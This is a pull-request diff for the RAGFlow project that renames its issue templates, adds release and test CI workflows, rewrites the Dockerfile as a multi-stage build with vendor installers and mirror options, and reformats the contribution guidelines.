DOC: for release. (#5472)

### What problem does this PR solve?


### Type of change

- [x] Documentation Update

---------

Co-authored-by: Jin Hai <haijin.chn@gmail.com>

.github/ISSUE_TEMPLATE/bug_report.yml

@@ -1,5 +1,5 @@
 name: Bug Report
-description: Create a bug issue for infinity
+description: Create a bug issue for RAGFlow
 title: "[Bug]: "
 labels: [bug]
 body:
@@ -15,16 +15,16 @@ body:
     value: "Please provide the following information to help us understand the issue."
 - type: input
   attributes:
-    label: Branch name
-    description: Enter the name of the branch where you encountered the issue.
-    placeholder: e.g., main
+    label: RAGFlow workspace code commit ID
+    description: Enter the commit ID associated with the issue.
+    placeholder: e.g., 26d3480e
   validations:
     required: true
 - type: input
   attributes:
-    label: Commit ID
-    description: Enter the commit ID associated with the issue.
-    placeholder: e.g., c3b2a1
+    label: RAGFlow image version
+    description: Enter the image version(shown in RAGFlow UI, `System` page) associated with the issue.
+    placeholder: e.g., 26d3480e(v0.13.0~174)
   validations:
     required: true
 - type: textarea

.github/ISSUE_TEMPLATE/feature_request.md

@@ -1,7 +1,7 @@
 ---
 name: Feature request
 title: '[Feature Request]: '
-about: Suggest an idea for Infinity
+about: Suggest an idea for RAGFlow
 labels: ''
 ---
 

.github/ISSUE_TEMPLATE/feature_request.yml

@@ -1,5 +1,5 @@
 name: Feature request
-description: Propose a feature request for infinity.
+description: Propose a feature request for RAGFlow.
 title: "[Feature Request]: "
 labels: [feature request]
 body:

.github/ISSUE_TEMPLATE/question.yml

@@ -1,5 +1,5 @@
 name: Question
-description: Ask questions on infinity
+description: Ask questions on RAGFlow
 title: "[Question]: "
 labels: [question]
 body:

.github/ISSUE_TEMPLATE/subtask.yml

@@ -1,5 +1,5 @@
 name: Subtask
-description: "Propose a subtask for infinity"
+description: "Propose a subtask for RAGFlow"
 title: "[Subtask]: "
 labels: [subtask]
 

.github/workflows/release.yml

@@ -0,0 +1,118 @@
+name: release
+
+on:
+  schedule:
+    - cron: '0 13 * * *'  # This schedule runs every 13:00:00Z(21:00:00+08:00)
+  # The "create tags" trigger is specifically focused on the creation of new tags, while the "push tags" trigger is activated when tags are pushed, including both new tag creations and updates to existing tags.
+  create:
+    tags:
+      - "v*.*.*"                  # normal release
+      - "nightly"                 # the only one mutable tag
+
+# https://docs.github.com/en/actions/using-jobs/using-concurrency
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  release:
+    runs-on: [ "self-hosted", "overseas" ]
+    steps:
+      - name: Ensure workspace ownership
+        run: echo "chown -R $USER $GITHUB_WORKSPACE" && sudo chown -R $USER $GITHUB_WORKSPACE
+
+      # https://github.com/actions/checkout/blob/v3/README.md
+      - name: Check out code
+        uses: actions/checkout@v4
+        with:
+          token: ${{ secrets.MY_GITHUB_TOKEN }}  # Use the secret as an environment variable
+          fetch-depth: 0
+          fetch-tags: true
+
+      - name: Prepare release body
+        run: |
+          if [[ $GITHUB_EVENT_NAME == 'create' ]]; then
+            RELEASE_TAG=${GITHUB_REF#refs/tags/}
+            if [[ $RELEASE_TAG == 'nightly' ]]; then
+              PRERELEASE=true
+            else
+              PRERELEASE=false
+            fi
+            echo "Workflow triggered by create tag: $RELEASE_TAG"
+          else
+            RELEASE_TAG=nightly
+            PRERELEASE=true
+            echo "Workflow triggered by schedule"
+          fi
+          echo "RELEASE_TAG=$RELEASE_TAG" >> $GITHUB_ENV
+          echo "PRERELEASE=$PRERELEASE" >> $GITHUB_ENV
+          RELEASE_DATETIME=$(date --rfc-3339=seconds)
+          echo Release $RELEASE_TAG created from $GITHUB_SHA at $RELEASE_DATETIME > release_body.md
+
+      - name: Move the existing mutable tag
+        # https://github.com/softprops/action-gh-release/issues/171
+        run: |
+          git fetch --tags
+          if [[ $GITHUB_EVENT_NAME == 'schedule' ]]; then
+            # Determine if a given tag exists and matches a specific Git commit.
+            # actions/checkout@v4 fetch-tags doesn't work when triggered by schedule
+            if [ "$(git rev-parse -q --verify "refs/tags/$RELEASE_TAG")" = "$GITHUB_SHA" ]; then
+              echo "mutable tag $RELEASE_TAG exists and matches $GITHUB_SHA"
+            else
+              git tag -f $RELEASE_TAG $GITHUB_SHA
+              git push -f origin $RELEASE_TAG:refs/tags/$RELEASE_TAG
+              echo "created/moved mutable tag $RELEASE_TAG to $GITHUB_SHA"
+            fi
+          fi
+
+      - name: Create or overwrite a release
+        # https://github.com/actions/upload-release-asset has been replaced by https://github.com/softprops/action-gh-release
+        uses: softprops/action-gh-release@v2
+        with:
+          token: ${{ secrets.MY_GITHUB_TOKEN }}  # Use the secret as an environment variable
+          prerelease: ${{ env.PRERELEASE }}
+          tag_name: ${{ env.RELEASE_TAG }}
+          # The body field does not support environment variable substitution directly.
+          body_path: release_body.md
+
+      # https://github.com/marketplace/actions/docker-login
+      - name: Login to Docker Hub
+        uses: docker/login-action@v3
+        with:
+          username: infiniflow
+          password: ${{ secrets.DOCKERHUB_TOKEN }}
+
+      # https://github.com/marketplace/actions/build-and-push-docker-images
+      - name: Build and push full image
+        uses: docker/build-push-action@v6
+        with:
+          context: .
+          push: true
+          tags: infiniflow/ragflow:${{ env.RELEASE_TAG }}
+          file: Dockerfile
+          platforms: linux/amd64
+
+      # https://github.com/marketplace/actions/build-and-push-docker-images
+      - name: Build and push slim image
+        uses: docker/build-push-action@v6
+        with:
+          context: .
+          push: true
+          tags: infiniflow/ragflow:${{ env.RELEASE_TAG }}-slim
+          file: Dockerfile
+          build-args: LIGHTEN=1
+          platforms: linux/amd64
+
+      - name: Build ragflow-sdk
+        if: startsWith(github.ref, 'refs/tags/v')
+        run: |
+          cd sdk/python && \
+          uv build
+
+      - name: Publish package distributions to PyPI
+        if: startsWith(github.ref, 'refs/tags/v')
+        uses: pypa/gh-action-pypi-publish@release/v1
+        with:
+          packages-dir: sdk/python/dist/
+          password: ${{ secrets.PYPI_API_TOKEN }}
+          verbose: true

.github/workflows/tests.yml

@@ -0,0 +1,134 @@
+name: tests
+
+on:
+  push:
+    branches:
+      - 'main'
+      - '*.*.*'
+    paths-ignore:
+      - 'docs/**'
+      - '*.md'
+      - '*.mdx'
+  pull_request:
+    types: [ opened, synchronize, reopened, labeled ]
+    paths-ignore:
+      - 'docs/**'
+      - '*.md'
+      - '*.mdx'
+
+# https://docs.github.com/en/actions/using-jobs/using-concurrency
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  ragflow_tests:
+    name: ragflow_tests
+    # https://docs.github.com/en/actions/using-jobs/using-conditions-to-control-job-execution
+    # https://github.com/orgs/community/discussions/26261
+    if: ${{ github.event_name != 'pull_request' || contains(github.event.pull_request.labels.*.name, 'ci') }}
+    runs-on: [ "self-hosted", "debug" ]
+    steps:
+      # https://github.com/hmarr/debug-action
+      #- uses: hmarr/debug-action@v2
+
+      - name: Show who triggered this workflow
+        run: |
+          echo "Workflow triggered by ${{ github.event_name }}"
+
+      - name: Ensure workspace ownership
+        run: echo "chown -R $USER $GITHUB_WORKSPACE" && sudo chown -R $USER $GITHUB_WORKSPACE
+
+      # https://github.com/actions/checkout/issues/1781
+      - name: Check out code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+          fetch-tags: true
+
+      # https://github.com/astral-sh/ruff-action
+      - name: Static check with Ruff
+        uses: astral-sh/ruff-action@v2
+        with:
+          version: ">=0.8.2"
+          args: "check --ignore E402"
+
+      - name: Build ragflow:nightly-slim
+        run: |
+          RUNNER_WORKSPACE_PREFIX=${RUNNER_WORKSPACE_PREFIX:-$HOME}
+          sudo docker pull ubuntu:22.04
+          sudo docker build --progress=plain --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim .
+
+      - name: Build ragflow:nightly
+        run: |
+          sudo docker build --progress=plain --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly .
+
+      - name: Start ragflow:nightly-slim
+        run: |
+          echo -e "\nRAGFLOW_IMAGE=infiniflow/ragflow:nightly-slim" >> docker/.env
+          sudo docker compose -f docker/docker-compose.yml up -d
+
+      - name: Stop ragflow:nightly-slim
+        if: always()  # always run this step even if previous steps failed
+        run: |
+          sudo docker compose -f docker/docker-compose.yml down -v
+
+      - name: Start ragflow:nightly
+        run: |
+          echo -e "\nRAGFLOW_IMAGE=infiniflow/ragflow:nightly" >> docker/.env
+          sudo docker compose -f docker/docker-compose.yml up -d
+
+      - name: Run sdk tests against Elasticsearch
+        run: |
+          export http_proxy=""; export https_proxy=""; export no_proxy=""; export HTTP_PROXY=""; export HTTPS_PROXY=""; export NO_PROXY=""
+          export HOST_ADDRESS=http://host.docker.internal:9380
+          until sudo docker exec ragflow-server curl -s --connect-timeout 5 ${HOST_ADDRESS} > /dev/null; do
+            echo "Waiting for service to be available..."
+            sleep 5
+          done
+          cd sdk/python && uv sync --python 3.10 --frozen && uv pip install . && source .venv/bin/activate && cd test/test_sdk_api && pytest -s --tb=short get_email.py t_dataset.py t_chat.py t_session.py t_document.py t_chunk.py
+
+      - name: Run frontend api tests against Elasticsearch
+        run: |
+          export http_proxy=""; export https_proxy=""; export no_proxy=""; export HTTP_PROXY=""; export HTTPS_PROXY=""; export NO_PROXY=""
+          export HOST_ADDRESS=http://host.docker.internal:9380
+          until sudo docker exec ragflow-server curl -s --connect-timeout 5 ${HOST_ADDRESS} > /dev/null; do
+            echo "Waiting for service to be available..."
+            sleep 5
+          done
+          cd sdk/python && uv sync --python 3.10 --frozen && uv pip install . && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py 
+          
+
+      - name: Stop ragflow:nightly
+        if: always()  # always run this step even if previous steps failed
+        run: |
+          sudo docker compose -f docker/docker-compose.yml down -v
+
+      - name: Start ragflow:nightly
+        run: |
+          sudo DOC_ENGINE=infinity docker compose -f docker/docker-compose.yml up -d
+
+      - name: Run sdk tests against Infinity
+        run: |
+          export http_proxy=""; export https_proxy=""; export no_proxy=""; export HTTP_PROXY=""; export HTTPS_PROXY=""; export NO_PROXY=""
+          export HOST_ADDRESS=http://host.docker.internal:9380
+          until sudo docker exec ragflow-server curl -s --connect-timeout 5 ${HOST_ADDRESS} > /dev/null; do
+            echo "Waiting for service to be available..."
+            sleep 5
+          done
+          cd sdk/python && uv sync --python 3.10 --frozen && uv pip install . && source .venv/bin/activate && cd test/test_sdk_api && pytest -s --tb=short get_email.py t_dataset.py t_chat.py t_session.py t_document.py t_chunk.py
+
+      - name: Run frontend api tests against Infinity
+        run: |
+          export http_proxy=""; export https_proxy=""; export no_proxy=""; export HTTP_PROXY=""; export HTTPS_PROXY=""; export NO_PROXY=""
+          export HOST_ADDRESS=http://host.docker.internal:9380
+          until sudo docker exec ragflow-server curl -s --connect-timeout 5 ${HOST_ADDRESS} > /dev/null; do
+            echo "Waiting for service to be available..."
+            sleep 5
+          done
+          cd sdk/python && uv sync --python 3.10 --frozen && uv pip install . && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py
+
+      - name: Stop ragflow:nightly
+        if: always()  # always run this step even if previous steps failed
+        run: |
+          sudo DOC_ENGINE=infinity docker compose -f docker/docker-compose.yml down -v

.gitignore

@@ -21,3 +21,23 @@ Cargo.lock
 
 .idea/
 .vscode/
+
+# Exclude Mac generated files
+.DS_Store
+
+# Exclude the log folder
+docker/ragflow-logs/
+/flask_session
+/logs
+rag/res/deepdoc
+
+# Exclude sdk generated files
+sdk/python/ragflow.egg-info/
+sdk/python/build/
+sdk/python/dist/
+sdk/python/ragflow_sdk.egg-info/
+huggingface.co/
+nltk_data/
+
+# Exclude hash-like temporary files like 9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+*[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]*

CONTRIBUTING.md

@@ -1,52 +1,48 @@
----
-sidebar_position: 0
-slug: /contribution_guidelines
----
-
-# Contribution Guidelines
-
-Thanks for wanting to contribute to RAGFlow. This document offers guidlines and major considerations for submitting your contributions. 
-
-- To report a bug, file a [GitHub issue](https://github.com/infiniflow/ragflow/issues/new/choose) with us.
-- For further questions, you can explore existing discussions or initiate a new one in [Discussions](https://github.com/orgs/infiniflow/discussions).
-
-
-## What you can contribute
-
-The list below mentions some contributions you can make, but it is not a complete list.
-
-- Proposing or implementing new features
-- Fixing a bug
-- Adding test cases or demos
-- Posting a blog or tutorial
-- Updates to existing documents, codes, or annotations.
-- Suggesting more user-friendly error codes
-
-## File a pull request (PR)
-
-### General workflow
-
-1. Fork our GitHub repository.
-2. Clone your fork to your local machine: 
-`git clone git@github.com:<yourname>/ragflow.git`
-3. Create a local branch: 
-`git checkout -b my-branch`
-4. Provide sufficient information in your commit message
-`git commit -m 'Provide sufficient info in your commit message'`
-5. Commit changes to your local branch, and push to GitHub: (include necessary commit message)
-`git push origin my-branch.`
-6. Submit a pull request for review.
-
-### Before filing a PR
-
-- Consider splitting a large PR into multiple smaller, standalone PRs to keep a traceable development history. 
-- Ensure that your PR addresses just one issue, or keep any unrelated changes small.
-- Add test cases when contributing new features. They demonstrate that your code functions correctly and protect against potential issues from future changes.
-### Describing your PR 
-
-- Ensure that your PR title is concise and clear, providing all the required information.
-- Refer to a corresponding GitHub issue in your PR description if applicable. 
-- Include sufficient design details for *breaking changes* or *API changes* in your description.
-
-### Reviewing & merging a PR
-- Ensure that your PR passes all Continuous Integration (CI) tests before merging it.
+# Contribution guidelines
+
+This document offers guidelines and major considerations for submitting your contributions to RAGFlow.
+
+- To report a bug, file a [GitHub issue](https://github.com/infiniflow/ragflow/issues/new/choose) with us.
+- For further questions, you can explore existing discussions or initiate a new one in [Discussions](https://github.com/orgs/infiniflow/discussions).
+
+## What you can contribute
+
+The list below mentions some contributions you can make, but it is not a complete list.
+
+- Proposing or implementing new features
+- Fixing a bug
+- Adding test cases or demos
+- Posting a blog or tutorial
+- Updates to existing documents, codes, or annotations.
+- Suggesting more user-friendly error codes
+
+## File a pull request (PR)
+
+### General workflow
+
+1. Fork our GitHub repository.
+2. Clone your fork to your local machine:
+`git clone git@github.com:<yourname>/ragflow.git`
+3. Create a local branch: 
+`git checkout -b my-branch`
+4. Provide sufficient information in your commit message
+`git commit -m 'Provide sufficient info in your commit message'`
+5. Commit changes to your local branch, and push to GitHub: (include necessary commit message)
+`git push origin my-branch.`
+6. Submit a pull request for review.
+
+### Before filing a PR
+
+- Consider splitting a large PR into multiple smaller, standalone PRs to keep a traceable development history.
+- Ensure that your PR addresses just one issue, or keep any unrelated changes small.
+- Add test cases when contributing new features. They demonstrate that your code functions correctly and protect against potential issues from future changes.
+
+### Describing your PR
+
+- Ensure that your PR title is concise and clear, providing all the required information.
+- Refer to a corresponding GitHub issue in your PR description if applicable.
+- Include sufficient design details for *breaking changes* or *API changes* in your description.
+
+### Reviewing & merging a PR
+
+Ensure that your PR passes all Continuous Integration (CI) tests before merging it.

Dockerfile

@@ -1,20 +1,210 @@
-FROM swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow-base:v1.0
-USER  root
+# base stage
+FROM ubuntu:22.04 AS base
+USER root
+SHELL ["/bin/bash", "-c"]
+
+ARG NEED_MIRROR=0
+ARG LIGHTEN=0
+ENV LIGHTEN=${LIGHTEN}
 
 WORKDIR /ragflow
 
-ADD ./web ./web
-RUN cd ./web && npm i && npm run build
+# Copy models downloaded via download_deps.py
+RUN mkdir -p /ragflow/rag/res/deepdoc /root/.ragflow
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \
+    cp /huggingface.co/InfiniFlow/huqie/huqie.txt.trie /ragflow/rag/res/ && \
+    tar --exclude='.*' -cf - \
+        /huggingface.co/InfiniFlow/text_concat_xgb_v1.0 \
+        /huggingface.co/InfiniFlow/deepdoc \
+        | tar -xf - --strip-components=3 -C /ragflow/rag/res/deepdoc 
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/huggingface.co,target=/huggingface.co \
+    if [ "$LIGHTEN" != "1" ]; then \
+        (tar -cf - \
+            /huggingface.co/BAAI/bge-large-zh-v1.5 \
+            /huggingface.co/BAAI/bge-reranker-v2-m3 \
+            /huggingface.co/maidalun1020/bce-embedding-base_v1 \
+            /huggingface.co/maidalun1020/bce-reranker-base_v1 \
+            | tar -xf - --strip-components=2 -C /root/.ragflow) \
+    fi
 
-ADD ./api ./api
-ADD ./conf ./conf
-ADD ./deepdoc ./deepdoc
-ADD ./rag ./rag
+# https://github.com/chrismattmann/tika-python
+# This is the only way to run python-tika without internet access. Without this set, the default is to check the tika version and pull latest every time from Apache.
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    cp -r /deps/nltk_data /root/ && \
+    cp /deps/tika-server-standard-3.0.0.jar /deps/tika-server-standard-3.0.0.jar.md5 /ragflow/ && \
+    cp /deps/cl100k_base.tiktoken /ragflow/9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+
+ENV TIKA_SERVER_JAR="file:///ragflow/tika-server-standard-3.0.0.jar"
+ENV DEBIAN_FRONTEND=noninteractive
+
+# Setup apt
+# Python package and implicit dependencies:
+# opencv-python: libglib2.0-0 libglx-mesa0 libgl1
+# aspose-slides: pkg-config libicu-dev libgdiplus         libssl1.1_1.1.1f-1ubuntu2_amd64.deb
+# python-pptx:   default-jdk                              tika-server-standard-3.0.0.jar
+# selenium:      libatk-bridge2.0-0                       chrome-linux64-121-0-6167-85
+# Building C extensions: libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        sed -i 's|http://archive.ubuntu.com|https://mirrors.tuna.tsinghua.edu.cn|g' /etc/apt/sources.list; \
+    fi; \
+    rm -f /etc/apt/apt.conf.d/docker-clean && \
+    echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache && \
+    chmod 1777 /tmp && \
+    apt update && \
+    apt --no-install-recommends install -y ca-certificates && \
+    apt update && \
+    apt install -y libglib2.0-0 libglx-mesa0 libgl1 && \
+    apt install -y pkg-config libicu-dev libgdiplus && \
+    apt install -y default-jdk && \
+    apt install -y libatk-bridge2.0-0 && \
+    apt install -y libpython3-dev libgtk-4-1 libnss3 xdg-utils libgbm-dev && \
+    apt install -y python3-pip pipx nginx unzip curl wget git vim less
+
+RUN if [ "$NEED_MIRROR" == "1" ]; then \
+        pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple && \
+        pip3 config set global.trusted-host mirrors.aliyun.com; \
+        mkdir -p /etc/uv && \
+        echo "[[index]]" > /etc/uv/uv.toml && \
+        echo 'url = "https://mirrors.aliyun.com/pypi/simple"' >> /etc/uv/uv.toml && \
+        echo "default = true" >> /etc/uv/uv.toml; \
+    fi; \
+    pipx install uv
+
+ENV PYTHONDONTWRITEBYTECODE=1 DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1
+ENV PATH=/root/.local/bin:$PATH
+
+# nodejs 12.22 on Ubuntu 22.04 is too old
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \
+    apt purge -y nodejs npm cargo && \
+    apt autoremove -y && \
+    apt update && \
+    apt install -y nodejs
+
+# A modern version of cargo is needed for the latest version of the Rust compiler.
+RUN apt update && apt install -y curl build-essential \
+    && if [ "$NEED_MIRROR" == "1" ]; then \
+         # Use TUNA mirrors for rustup/rust dist files
+         export RUSTUP_DIST_SERVER="https://mirrors.tuna.tsinghua.edu.cn/rustup"; \
+         export RUSTUP_UPDATE_ROOT="https://mirrors.tuna.tsinghua.edu.cn/rustup/rustup"; \
+         echo "Using TUNA mirrors for Rustup."; \
+       fi; \
+    # Force curl to use HTTP/1.1
+    curl --proto '=https' --tlsv1.2 --http1.1 -sSf https://sh.rustup.rs | bash -s -- -y --profile minimal \
+    && echo 'export PATH="/root/.cargo/bin:${PATH}"' >> /root/.bashrc
+
+ENV PATH="/root/.cargo/bin:${PATH}"
+
+RUN cargo --version && rustc --version
+
+# Add msssql ODBC driver
+# macOS ARM64 environment, install msodbcsql18.
+# general x86_64 environment, install msodbcsql17.
+RUN --mount=type=cache,id=ragflow_apt,target=/var/cache/apt,sharing=locked \
+    curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - && \
+    curl https://packages.microsoft.com/config/ubuntu/22.04/prod.list > /etc/apt/sources.list.d/mssql-release.list && \
+    apt update && \
+    arch="$(uname -m)"; \
+    if [ "$arch" = "arm64" ] || [ "$arch" = "aarch64" ]; then \
+        # ARM64 (macOS/Apple Silicon or Linux aarch64)
+        ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql18; \
+    else \
+        # x86_64 or others
+        ACCEPT_EULA=Y apt install -y unixodbc-dev msodbcsql17; \
+    fi || \
+    { echo "Failed to install ODBC driver"; exit 1; }
+
+
+
+# Add dependencies of selenium
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chrome-linux64-121-0-6167-85,target=/chrome-linux64.zip \
+    unzip /chrome-linux64.zip && \
+    mv chrome-linux64 /opt/chrome && \
+    ln -s /opt/chrome/chrome /usr/local/bin/
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/chromedriver-linux64-121-0-6167-85,target=/chromedriver-linux64.zip \
+    unzip -j /chromedriver-linux64.zip chromedriver-linux64/chromedriver && \
+    mv chromedriver /usr/local/bin/ && \
+    rm -f /usr/bin/google-chrome
+
+# https://forum.aspose.com/t/aspose-slides-for-net-no-usable-version-of-libssl-found-with-linux-server/271344/13
+# aspose-slides on linux/arm64 is unavailable
+RUN --mount=type=bind,from=infiniflow/ragflow_deps:latest,source=/,target=/deps \
+    if [ "$(uname -m)" = "x86_64" ]; then \
+        dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_amd64.deb; \
+    elif [ "$(uname -m)" = "aarch64" ]; then \
+        dpkg -i /deps/libssl1.1_1.1.1f-1ubuntu2_arm64.deb; \
+    fi
+
+
+# builder stage
+FROM base AS builder
+USER root
+
+WORKDIR /ragflow
+
+# install dependencies from uv.lock file
+COPY pyproject.toml uv.lock ./
+
+# https://github.com/astral-sh/uv/issues/10462
+# uv records index url into uv.lock but doesn't failover among multiple indexes
+RUN --mount=type=cache,id=ragflow_uv,target=/root/.cache/uv,sharing=locked \
+    if [ "$NEED_MIRROR" == "1" ]; then \
+        sed -i 's|pypi.org|mirrors.aliyun.com/pypi|g' uv.lock; \
+    else \
+        sed -i 's|mirrors.aliyun.com/pypi|pypi.org|g' uv.lock; \
+    fi; \
+    if [ "$LIGHTEN" == "1" ]; then \
+        uv sync --python 3.10 --frozen; \
+    else \
+        uv sync --python 3.10 --frozen --all-extras; \
+    fi
+
+COPY web web
+COPY docs docs
+RUN --mount=type=cache,id=ragflow_npm,target=/root/.npm,sharing=locked \
+    cd web && npm install && npm run build
+
+COPY .git /ragflow/.git
+
+RUN version_info=$(git describe --tags --match=v* --first-parent --always); \
+    if [ "$LIGHTEN" == "1" ]; then \
+        version_info="$version_info slim"; \
+    else \
+        version_info="$version_info full"; \
+    fi; \
+    echo "RAGFlow version: $version_info"; \
+    echo $version_info > /ragflow/VERSION
+
+# production stage
+FROM base AS production
+USER root
+
+WORKDIR /ragflow
+
+# Copy Python environment and packages
+ENV VIRTUAL_ENV=/ragflow/.venv
+COPY --from=builder ${VIRTUAL_ENV} ${VIRTUAL_ENV}
+ENV PATH="${VIRTUAL_ENV}/bin:${PATH}"
 
 ENV PYTHONPATH=/ragflow/
-ENV HF_ENDPOINT=https://hf-mirror.com
 
-ADD docker/entrypoint.sh ./entrypoint.sh
-RUN chmod +x ./entrypoint.sh
+COPY web web
+COPY api api
+COPY conf conf
+COPY deepdoc deepdoc
+COPY rag rag
+COPY agent agent
+COPY graphrag graphrag
+COPY agentic_reasoning agentic_reasoning
+COPY pyproject.toml uv.lock ./
 
-ENTRYPOINT ["./entrypoint.sh"]
+COPY docker/service_conf.yaml.template ./conf/service_conf.yaml.template
+COPY docker/entrypoint.sh docker/entrypoint-parser.sh ./
+RUN chmod +x ./entrypoint*.sh
+
+# Copy compiled web pages
+COPY --from=builder /ragflow/web/dist /ragflow/web/dist
+
+COPY --from=builder /ragflow/VERSION /ragflow/VERSION
+ENTRYPOINT ["./entrypoint.sh"]

Dockerfile.cuda

@@ -1,25 +0,0 @@
-FROM swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow-base:v1.0
-USER  root
-
-WORKDIR /ragflow
-
-## for cuda > 12.0
-RUN /root/miniconda3/envs/py11/bin/pip uninstall -y onnxruntime-gpu
-RUN /root/miniconda3/envs/py11/bin/pip install onnxruntime-gpu --extra-index-url https://aiinfra.pkgs.visualstudio.com/PublicPackages/_packaging/onnxruntime-cuda-12/pypi/simple/
-
-
-ADD ./web ./web
-RUN cd ./web && npm i && npm run build
-
-ADD ./api ./api
-ADD ./conf ./conf
-ADD ./deepdoc ./deepdoc
-ADD ./rag ./rag
-
-ENV PYTHONPATH=/ragflow/
-ENV HF_ENDPOINT=https://hf-mirror.com
-
-ADD docker/entrypoint.sh ./entrypoint.sh
-RUN chmod +x ./entrypoint.sh
-
-ENTRYPOINT ["./entrypoint.sh"]

Dockerfile.deps

@@ -0,0 +1,10 @@
+# This builds an image that contains the resources needed by Dockerfile
+#
+FROM scratch
+
+# Copy resources downloaded via download_deps.py
+COPY chromedriver-linux64-121-0-6167-85 chrome-linux64-121-0-6167-85 cl100k_base.tiktoken libssl1.1_1.1.1f-1ubuntu2_amd64.deb libssl1.1_1.1.1f-1ubuntu2_arm64.deb tika-server-standard-3.0.0.jar tika-server-standard-3.0.0.jar.md5 libssl*.deb /
+
+COPY nltk_data /nltk_data
+
+COPY huggingface.co /huggingface.co

Dockerfile.scratch.oc9

@@ -1,54 +1,60 @@
-FROM ubuntu:22.04
-USER root
-
-WORKDIR /ragflow
-
-RUN apt-get update && apt-get install -y wget curl build-essential libopenmpi-dev
-
-RUN wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \
-    bash ~/miniconda.sh -b -p /root/miniconda3 && \
-    rm ~/miniconda.sh && ln -s /root/miniconda3/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
-    echo ". /root/miniconda3/etc/profile.d/conda.sh" >> ~/.bashrc && \
-    echo "conda activate base" >> ~/.bashrc
-
-ENV PATH /root/miniconda3/bin:$PATH
-
-RUN conda create -y --name py11 python=3.11
-
-ENV CONDA_DEFAULT_ENV py11
-ENV CONDA_PREFIX /root/miniconda3/envs/py11
-ENV PATH $CONDA_PREFIX/bin:$PATH
-
-RUN curl -sL https://deb.nodesource.com/setup_14.x | bash -
-RUN apt-get install -y nodejs
-
-RUN apt-get install -y nginx
-
-ADD ./web ./web
-ADD ./api ./api
-ADD ./conf ./conf
-ADD ./deepdoc ./deepdoc
-ADD ./rag ./rag
-ADD ./requirements.txt ./requirements.txt
-
-RUN apt install openmpi-bin openmpi-common libopenmpi-dev
-ENV LD_LIBRARY_PATH /usr/lib/x86_64-linux-gnu/openmpi/lib:$LD_LIBRARY_PATH
-RUN rm /root/miniconda3/envs/py11/compiler_compat/ld
-RUN cd ./web && npm i && npm run build
-RUN conda run -n py11 pip install -i https://mirrors.aliyun.com/pypi/simple/ -r ./requirements.txt
-
-RUN apt-get update && \
-    apt-get install -y libglib2.0-0 libgl1-mesa-glx && \
-    rm -rf /var/lib/apt/lists/*
-
-RUN conda run -n py11 pip install -i https://mirrors.aliyun.com/pypi/simple/ ollama
-RUN conda run -n py11 python -m nltk.downloader punkt
-RUN conda run -n py11 python -m nltk.downloader wordnet
-
-ENV PYTHONPATH=/ragflow/
-ENV HF_ENDPOINT=https://hf-mirror.com
-
-ADD docker/entrypoint.sh ./entrypoint.sh
-RUN chmod +x ./entrypoint.sh
-
-ENTRYPOINT ["./entrypoint.sh"]
+FROM opencloudos/opencloudos:9.0
+USER root
+
+WORKDIR /ragflow
+
+RUN dnf update -y && dnf install -y wget curl gcc-c++ openmpi-devel
+
+RUN wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda.sh && \
+    bash ~/miniconda.sh -b -p /root/miniconda3 && \
+    rm ~/miniconda.sh && ln -s /root/miniconda3/etc/profile.d/conda.sh /etc/profile.d/conda.sh && \
+    echo ". /root/miniconda3/etc/profile.d/conda.sh" >> ~/.bashrc && \
+    echo "conda activate base" >> ~/.bashrc
+
+ENV PATH /root/miniconda3/bin:$PATH
+
+RUN conda create -y --name py11 python=3.11
+
+ENV CONDA_DEFAULT_ENV py11
+ENV CONDA_PREFIX /root/miniconda3/envs/py11
+ENV PATH $CONDA_PREFIX/bin:$PATH
+
+# RUN curl -sL https://rpm.nodesource.com/setup_14.x | bash -
+RUN dnf install -y nodejs
+
+RUN dnf install -y nginx
+
+ADD ./web ./web
+ADD ./api ./api
+ADD ./docs ./docs
+ADD ./conf ./conf
+ADD ./deepdoc ./deepdoc
+ADD ./rag ./rag
+ADD ./requirements.txt ./requirements.txt
+ADD ./agent ./agent
+ADD ./graphrag ./graphrag
+
+RUN dnf install -y openmpi openmpi-devel python3-openmpi
+ENV C_INCLUDE_PATH /usr/include/openmpi-x86_64:$C_INCLUDE_PATH
+ENV LD_LIBRARY_PATH /usr/lib64/openmpi/lib:$LD_LIBRARY_PATH
+RUN rm /root/miniconda3/envs/py11/compiler_compat/ld
+RUN cd ./web && npm i && npm run build
